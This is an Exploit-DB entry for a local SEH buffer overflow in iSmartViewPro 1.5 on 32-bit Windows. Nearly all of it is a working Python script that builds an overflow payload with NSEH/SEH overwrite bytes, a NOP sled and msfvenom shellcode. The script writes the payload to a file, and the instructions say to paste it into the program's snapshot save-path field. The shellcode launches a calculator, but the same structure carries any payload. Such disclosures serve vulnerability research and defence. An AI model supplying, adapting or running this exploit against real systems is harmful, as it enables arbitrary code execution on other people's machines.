# iSmartViewPro 1.5 - 'SavePath for ScreenShots' Local Buffer Overflow (SEH)

**EDB-ID:**
45349

**CVE:**
N/A

**EDB Verified:** ×

**Author:**
GIONATHAN REALE

**Type:**
LOCAL

**Exploit:** / {}

**Platform:**
WINDOWS_X86

**Date:**
2018-09-07

**Vulnerable App:**

```
# Exploit Title: iSmartViewPro 1.5 - 'SavePath for ScreenShots' Buffer
Overflow (SEH)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-07
# Software Link: https://securimport.com/university/videovigilancia-
ip/software/493-software-ismartviewpro-v1-5
# Tested Version: 1.5
# Tested on OS: Windows 7 32bit
# Steps to Reproduce:
# Run the python exploit script, it will create a new file with the name
# "exploit.txt" just copy the text inside "exploit.txt" and start the
# iSmartViewPro 1.5 program and click on "System Setup" in the
# "Save Path for Snapshot and Record file" field. Paste the content of
# "exploit.txt" and click on Save. You will see a calculator poped up.

#!/usr/bin/python

buffer = "A" * 260

NSEH = "\xeb\x06\x90\x90"

SEH = "\xdf\x16\x01\x10"
nops = "\x90" * 4000
#badchar \x00\x0a\x0d\x2f
#msfvenom calculator
buf =  ""
buf += "\xba\x9a\x98\xaf\x7e\xdd\xc2\xd9\x74\x24\xf4\x5f\x29"
buf += "\xc9\xb1\x31\x83\xc7\x04\x31\x57\x0f\x03\x57\x95\x7a"
buf += "\x5a\x82\x41\xf8\xa5\x7b\x91\x9d\x2c\x9e\xa0\x9d\x4b"
buf += "\xea\x92\x2d\x1f\xbe\x1e\xc5\x4d\x2b\x95\xab\x59\x5c"
buf += "\x1e\x01\xbc\x53\x9f\x3a\xfc\xf2\x23\x41\xd1\xd4\x1a"
buf += "\x8a\x24\x14\x5b\xf7\xc5\x44\x34\x73\x7b\x79\x31\xc9"
buf += "\x40\xf2\x09\xdf\xc0\xe7\xd9\xde\xe1\xb9\x52\xb9\x21"
buf += "\x3b\xb7\xb1\x6b\x23\xd4\xfc\x22\xd8\x2e\x8a\xb4\x08"
buf += "\x7f\x73\x1a\x75\xb0\x86\x62\xb1\x76\x79\x11\xcb\x85"
buf += "\x04\x22\x08\xf4\xd2\xa7\x8b\x5e\x90\x10\x70\x5f\x75"
buf += "\xc6\xf3\x53\x32\x8c\x5c\x77\xc5\x41\xd7\x83\x4e\x64"
buf += "\x38\x02\x14\x43\x9c\x4f\xce\xea\x85\x35\xa1\x13\xd5"
buf += "\x96\x1e\xb6\x9d\x3a\x4a\xcb\xff\x50\x8d\x59\x7a\x16"
buf += "\x8d\x61\x85\x06\xe6\x50\x0e\xc9\x71\x6d\xc5\xae\x8e"
buf += "\x27\x44\x86\x06\xee\x1c\x9b\x4a\x11\xcb\xdf\x72\x92"
buf += "\xfe\x9f\x80\x8a\x8a\x9a\xcd\x0c\x66\xd6\x5e\xf9\x88"
buf += "\x45\x5e\x28\xeb\x08\xcc\xb0\xc2\xaf\x74\x52\x1b"
pad = "B" * (6384 - len(NSEH) - len(SEH) - len(buffer) - len(nops) -
len(buf) )

payload = buffer + NSEH + SEH + nops + buf + pad
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

**Tags:**

**Advisory/Source:** Link